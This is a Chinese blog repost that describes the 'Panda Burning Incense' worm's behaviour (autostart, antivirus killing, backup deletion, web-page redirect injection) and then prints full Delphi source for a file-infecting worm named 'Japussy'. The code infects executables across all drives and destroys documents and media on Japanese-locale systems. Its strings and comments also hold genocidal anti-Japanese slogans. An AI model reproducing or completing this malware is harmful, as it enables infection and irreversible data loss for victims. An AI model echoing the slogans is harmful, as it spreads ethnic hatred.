“熊猫烧香” 这是一个感染型的蠕虫病毒,它能感染系统中exe,com,pif,src,html,asp等文件,它还能终止大量的反病毒软件进程并且会删除扩展名为gho的文件(gho文件是系统备份工具GHOST的备份文件),使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。
制作流程:
一、拷贝文件 病毒运行后,会把自己拷贝到C:\WINDOWS\System32\Drivers\spoclsv.exe
二、添加注册表自启动 病毒会添加自启动项HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe
三、病毒行为 :
- 每隔1秒寻找桌面窗口,并关闭窗口标题中含有以下字符的程序:QQKav、QQAV、防火墙、进程、VirusScan、网镖、杀毒、毒霸、瑞星、江民、黄山IE、超级兔子、优化大师、木马克星、木马清道夫、QQ病毒、注册表编辑器、系统配置实用程序、卡巴斯基反病毒、Symantec AntiVirus、Duba、esteem proces、绿鹰PC、密码防盗、噬菌体、木马辅助查找器、System Safety Monitor、Wrapped gift Killer、Winsock Expert、游戏木马检测大师、msctls_statusbar32、pjf(ustc)、IceSword,并使用键盘映射的方法关闭安全软件IceSword。
- 终止系统中以下的进程:Mcshield.exe、VsTskMgr.exe、naPrdMgr.exe、UpdaterUI.exe、TBMon.exe、scan32.exe、Ravmond.exe、CCenter.exe、RavTask.exe、Rav.exe、Ravmon.exe、RavmonD.exe、RavStub.exe、KVXP.kxp、kvMonXP.kxp、KVCenter.kxp、KVSrvXP.exe、KRegEx.exe、UIHost.exe、TrojDie.kxp、FrogAgent.exe、Logo1_.exe、Logo_1.exe、Rundl132.exe
- 每隔18秒点击病毒作者指定的网页。
- 用命令行检查系统中是否存在共享,共享存在的话就运行net share命令关闭共享。
- 每隔6秒删除安全软件在注册表中的键值
- 通过修改注册表以下值,从而不显示电脑中隐藏的文件 :HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL CheckedValue -> 0x00
- 删除以下服务: navapsvc、wscsvc、KPfwSvc、SNDSrvc、ccProxy、ccEvtMgr、ccSetMgr、SPBBCSvc、Symantec Core LC、NPFMntor MskService、FireSvc
四、感染文件 病毒会感染扩展名为exe,pif,com,src的文件,把自己附加到文件的头部,并在扩展名为htm,html, asp,php,jsp,aspx的文件中添加一个网址(例如在文件末尾<javascript>window.location.href = "http://网址域名";</javascript>),用户一旦访问了该文件,浏览器就会跳转到该网址,从而达到增加点击量的目的。但病毒不会感染下列系统文件夹中的文件: WINDOW、Winnt、System Volume Information、Recycled、Windows NT、WindowsUpdate、Windows Media 。
“熊猫烧香”的源代码:
“熊猫烧香”是用Delphi工具编写的,首先解释一下为什么大部分的病毒木马等黑客软件都是用Delphi语言编写的?
原因:delphi是编译型语言,可以直接生成.exe运行程序,独立使用。C#是解释型的语言,得调用操作系统的dll和ocx,不方便。对于木马病毒来说,用delphi是最好的选择!
- 编译型语言:有的编程语言要求必须提前将所有源代码一次性转换成二进制指令,也就是生成一个可执行程序(Windows 下的 .exe),比如C语言、C++、Golang、Pascal(Delphi)、汇编等,这种编程语言称为编译型语言,使用的转换工具称为编译器。
- 解释型语言:有的编程语言可以一边执行一边转换,需要哪些源代码就转换哪些源代码,不会生成可执行程序,比如 Python、Javascript、PHP、Shell、Matlab 等,这种编程语言称为解释型语言,使用的转换工具称为解释器。
-
program Japussy;
-
uses
-
Windows, SysUtils, Classes, Graphics, ShellAPI
{, Registry} ;
-
const
-
HeaderSize =
82432 ;
// 病毒体的大小
-
IconOffset =
$12EB8;
// PE文件主图标的偏移量
-
-
// 在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
-
// 查找2800000020的十六进制字符串可以找到主图标的偏移量
-
-
{
-
HeaderSize = 38912; //Upx压缩过病毒体的大小
-
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
-
-
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
-
}
-
IconSize =
$2E8;
// PE文件主图标的大小--744字节
-
IconTail = IconOffset + IconSize;
// PE文件主图标的尾部
-
ID = $
44444444 ;
// 感染标记
-
-
// 垃圾码,以备写入
-
Catchword =
' If a race need to be killed out, it must be Yamato. ' +
-
' If a country need to be destroyed, it must be Japan! ' +
-
' *** W32.Japussy.Worm.A *** ' ;
-
{$R *.RES}
-
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
-
stdcall;
external
' Kernel32.dll ' ;
// 函数声明
-
var
-
TmpFile:
string ;
-
Si: STARTUPINFO;
-
Pi: PROCESS_INFORMATION;
-
IsJap: Boolean = False;
// 日文操作系统标记
-
{ 判断是否为Win9x }
-
function IsWin9x: Boolean;
-
var
-
Ver: TOSVersionInfo;
-
begin
-
Result : = False;
-
Ver.dwOSVersionInfoSize : = SizeOf(TOSVersionInfo);
-
if
not GetVersionEx(Ver)
then
-
Exit;
-
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS)
then
// Win9x
-
Result : = True;
-
end;
-
{ 在流之间复制 }
-
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
-
dStartPos: Integer; Count: Integer);
-
var
-
sCurPos, dCurPos: Integer;
-
begin
-
sCurPos : = Src.Position;
-
dCurPos : = Dst.Position;
-
Src.Seek(sStartPos,
0 );
-
Dst.Seek(dStartPos,
0 );
-
Dst.CopyFrom(Src, Count);
-
Src.Seek(sCurPos,
0 );
-
Dst.Seek(dCurPos,
0 );
-
end;
-
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
-
procedure ExtractFile(FileName: string );
-
var
-
sStream, dStream: TFileStream;
-
begin
-
try
-
sStream : = TFileStream.Create(ParamStr(
0 ), fmOpenRead
or fmShareDenyNone);
-
try
-
dStream : = TFileStream.Create(FileName, fmCreate);
-
try
-
sStream.Seek(HeaderSize,
0 );
// 跳过头部的病毒部分
-
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
-
finally
-
dStream.Free;
-
end;
-
finally
-
sStream.Free;
-
end;
-
except
-
end;
-
end;
-
{ 填充STARTUPINFO结构 }
-
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
-
begin
-
Si.cb : = SizeOf(Si);
-
Si.lpReserved : =
nil;
-
Si.lpDesktop : =
nil;
-
Si.lpTitle : =
nil;
-
Si.dwFlags : = STARTF_USESHOWWINDOW;
-
Si.wShowWindow : = State;
-
Si.cbReserved2 : =
0 ;
-
Si.lpReserved2 : =
nil;
-
end;
-
{ 发带毒邮件 }
-
procedure SendMail;
-
begin
-
// 哪位仁兄愿意完成之?
-
end;
-
{ 感染PE文件 }
-
procedure InfectOneFile(FileName: string );
-
var
-
HdrStream, SrcStream: TFileStream;
-
IcoStream, DstStream: TMemoryStream;
-
iID: LongInt;
-
aIcon: TIcon;
-
Infected, IsPE: Boolean;
-
i: Integer;
-
Buf:
array[
0 ..
1 ]
of Char;
-
begin
-
try
// 出错则文件正在被使用,退出
-
if CompareText(FileName,
' JAPUSSY.EXE ' ) =
0
then
// 是自己则不感染
-
Exit;
-
Infected : = False;
-
IsPE : = False;
-
SrcStream : = TFileStream.Create(FileName, fmOpenRead);
-
try
-
for i : =
0
to $
108
do
// 检查PE文件头
-
begin
-
SrcStream.Seek(i, soFromBeginning);
-
SrcStream.
Read(Buf,
2 );
-
if (Buf[
0 ] = #
80 )
and (Buf[
1 ] = #
69 )
then
// PE标记
-
begin
-
IsPE : = True;
// 是PE文件
-
Break;
-
end;
-
end;
-
SrcStream.Seek( -
4 , soFromEnd);
// 检查感染标记
-
SrcStream.
Read(iID,
4 );
-
if (iID = ID)
or (SrcStream.Size <
10240 )
then
// 太小的文件不感染
-
Infected : = True;
-
finally
-
SrcStream.Free;
-
end;
-
if Infected
or (
not IsPE)
then
// 如果感染过了或不是PE文件则退出
-
Exit;
-
IcoStream : = TMemoryStream.Create;
-
DstStream : = TMemoryStream.Create;
-
try
-
aIcon : = TIcon.Create;
-
try
-
// 得到被感染文件的主图标(744字节),存入流
-
aIcon.ReleaseHandle;
-
aIcon.Handle : = ExtractIcon(HInstance, PChar(FileName),
0 );
-
aIcon.SaveToStream(IcoStream);
-
finally
-
aIcon.Free;
-
end;
-
SrcStream : = TFileStream.Create(FileName, fmOpenRead);
-
// 头文件
-
HdrStream : = TFileStream.Create(ParamStr(
0 ), fmOpenRead
or fmShareDenyNone);
-
try
-
// 写入病毒体主图标之前的数据
-
CopyStream(HdrStream,
0 , DstStream,
0 , IconOffset);
-
// 写入目前程序的主图标
-
CopyStream(IcoStream,
22 , DstStream, IconOffset, IconSize);
-
// 写入病毒体主图标到病毒体尾部之间的数据
-
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
-
// 写入宿主程序
-
CopyStream(SrcStream,
0 , DstStream, HeaderSize, SrcStream.Size);
-
// 写入已感染的标记
-
DstStream.Seek(
0 ,
2 );
-
iID : = $
44444444 ;
-
DstStream.
Write(iID,
4 );
-
finally
-
HdrStream.Free;
-
end;
-
finally
-
SrcStream.Free;
-
IcoStream.Free;
-
DstStream.SaveToFile(FileName);
// 替换宿主文件
-
DstStream.Free;
-
end;
-
except;
-
end;
-
end;
-
{ 将目标文件写入垃圾码后删除 }
-
procedure SmashFile(FileName: string );
-
var
-
FileHandle: Integer;
-
i, Size, Mass, Max, Len: Integer;
-
begin
-
try
-
SetFileAttributes(PChar(FileName),
0 );
// 去掉只读属性
-
FileHandle : = FileOpen(FileName, fmOpenWrite);
// 打开文件
-
try
-
Size : = GetFileSize(FileHandle,
nil);
// 文件大小
-
i : =
0 ;
-
Randomize;
-
Max : = Random(
15 );
// 写入垃圾码的随机次数
-
if Max <
5
then
-
Max : =
5 ;
-
Mass : = Size
div Max;
// 每个间隔块的大小
-
Len : = Length(Catchword);
-
while i < Max
do
-
begin
-
FileSeek(FileHandle, i * Mass,
0 );
// 定位
-
// 写入垃圾码,将文件彻底破坏掉
-
FileWrite(FileHandle, Catchword, Len);
-
Inc(i);
-
end;
-
finally
-
FileClose(FileHandle);
// 关闭文件
-
end;
-
DeleteFile(PChar(FileName));
// 删除之
-
except
-
end;
-
end;
-
{ 获得可写的驱动器列表 }
-
function GetDrives:
string ;
-
var
-
DiskType: Word;
-
D: Char;
-
Str:
string ;
-
i: Integer;
-
begin
-
for i : =
0
to
25
do
// 遍历26个字母
-
begin
-
D : = Chr(i +
65 );
-
Str : = D +
' :';
-
DiskType : = GetDriveType(PChar(Str));
-
// 得到本地磁盘和网络盘
-
if (DiskType = DRIVE_FIXED)
or (DiskType = DRIVE_REMOTE)
then
-
Result : = Result + D;
-
end;
-
end;
-
{ 遍历目录,感染和摧毁文件 }
-
procedure LoopFiles(Path, Mask: string );
-
var
-
i, Count: Integer;
-
Fn, Ext:
string ;
-
SubDir: TStrings;
-
SearchRec: TSearchRec;
-
Msg: TMsg;
-
function IsValidDir(SearchRec: TSearchRec): Integer;
-
begin
-
if (SearchRec.Attr <>
16 )
and (SearchRec.
Name <>
' . ' )
and
-
(SearchRec.
Name <>
' .. ' )
then
-
Result : =
0
// 不是目录
-
else
if (SearchRec.Attr =
16 )
and (SearchRec.
Name <>
' . ' )
and
-
(SearchRec.
Name <>
' .. ' )
then
-
Result : =
1
// 不是根目录
-
else Result : =
2 ;
// 是根目录
-
end;
-
begin
-
if (FindFirst(Path + Mask, faAnyFile, SearchRec) =
0 )
then
-
begin
-
repeat
-
PeekMessage(Msg,
0 ,
0 ,
0 , PM_REMOVE);
// 调整消息队列,避免引起怀疑
-
if IsValidDir(SearchRec) =
0
then
-
begin
-
Fn : = Path + SearchRec.
Name;
-
Ext : = UpperCase(ExtractFileExt(Fn));
-
if (Ext =
' .EXE ' )
or (Ext =
' .SCR ' )
then
-
begin
-
InfectOneFile(Fn);
// 感染可执行文件
-
end
-
else
if (Ext =
' .HTM ' )
or (Ext =
' .HTML ' )
or (Ext =
' .ASP ' )
then
-
begin
-
// 感染HTML和ASP文件,将Base64编码后的病毒写入
-
// 感染浏览此网页的所有用户
-
// 哪位大兄弟愿意完成之?
-
end
-
else
if Ext =
' .WAB '
then
// Outlook地址簿文件
-
begin
-
// 获取Outlook邮件地址
-
end
-
else
if Ext =
' .ADC '
then
// Foxmail地址自动完成文件
-
begin
-
// 获取Foxmail邮件地址
-
end
-
else
if Ext =
' IND '
then
// Foxmail地址簿文件
-
begin
-
// 获取Foxmail邮件地址
-
end
-
else
-
begin
-
if IsJap
then
// 是倭文操作系统
-
begin
-
if (Ext =
' .DOC ' )
or (Ext =
' .XLS ' )
or (Ext =
' .MDB ' )
or
-
(Ext =
' .MP3 ' )
or (Ext =
' .RM ' )
or (Ext =
' .RA ' )
or
-
(Ext =
' .WMA ' )
or (Ext =
' .ZIP ' )
or (Ext =
' .RAR ' )
or
-
(Ext =
' .MPEG ' )
or (Ext =
' .ASF ' )
or (Ext =
' .JPG ' )
or
-
(Ext =
' .JPEG ' )
or (Ext =
' .GIF ' )
or (Ext =
' .SWF ' )
or
-
(Ext =
' .PDF ' )
or (Ext =
' .CHM ' )
or (Ext =
' .AVI ' )
then
-
SmashFile(Fn);
// 摧毁文件
-
end;
-
end;
-
end;
-
// 感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
-
Sleep(
200 );
-
until (FindNext(SearchRec) <>
0 );
-
end;
-
FindClose(SearchRec);
-
SubDir : = TStringList.Create;
-
if (FindFirst(Path +
' *.* ' , faDirectory, SearchRec) =
0 )
then
-
begin
-
repeat
-
if IsValidDir(SearchRec) =
1
then
-
SubDir.Add(SearchRec.
Name);
-
until (FindNext(SearchRec) <>
0 );
-
end;
-
FindClose(SearchRec);
-
Count : = SubDir.Count -
1 ;
-
for i : =
0
to Count
do
-
LoopFiles(Path + SubDir.Strings +
' ', Mask);
-
FreeAndNil(SubDir);
-
end;
-
{ 遍历磁盘上所有的文件 }
-
procedure InfectFiles;
-
var
-
DriverList:
string ;
-
i, Len: Integer;
-
begin
-
if GetACP =
932
then
// 日文操作系统
-
IsJap : = True;
// 去死吧!
-
DriverList : = GetDrives;
// 得到可写的磁盘列表
-
Len : = Length(DriverList);
-
while True
do
// 死循环
-
begin
-
for i : = Len
downto
1
do
// 遍历每个磁盘驱动器
-
LoopFiles(DriverList +
' :',
' * . * ' );
//感染之
-
SendMail;
// 发带毒邮件
-
Sleep(
1000 *
60 *
5 );
// 睡眠5分钟
-
end;
-
end;
-
{ 主程序开始 }
-
begin
-
if IsWin9x
then
// 是Win9x
-
RegisterServiceProcess(GetCurrentProcessID,
1 )
// 注册为服务进程
-
else
// WinNT
-
begin
-
// 远程线程映射到Explorer进程
-
// 哪位兄台愿意完成之?
-
end;
-
// 如果是原始病毒体自己
-
if CompareText(ExtractFileName(ParamStr(
0 )),
' Japussy.exe ' ) =
0
then
-
InfectFiles
// 感染和发邮件
-
else
// 已寄生于宿主程序上了,开始工作
-
begin
-
TmpFile : = ParamStr(
0 );
// 创建临时文件
-
Delete(TmpFile, Length(TmpFile) -
4 ,
4 );
-
TmpFile : = TmpFile + #
32 +
' .exe ' ;
// 真正的宿主文件,多一个空格
-
ExtractFile(TmpFile);
// 分离之
-
FillStartupInfo(Si, SW_SHOWDEFAULT);
-
CreateProcess(PChar(TmpFile), PChar(TmpFile),
nil,
nil, True,
-
0 ,
nil,
' . ' , Si, Pi);
// 创建新进程运行之
-
InfectFiles;
// 感染和发邮件
-
end;
-
end.
转载:https://blog.csdn.net/qq15577969/article/details/108719027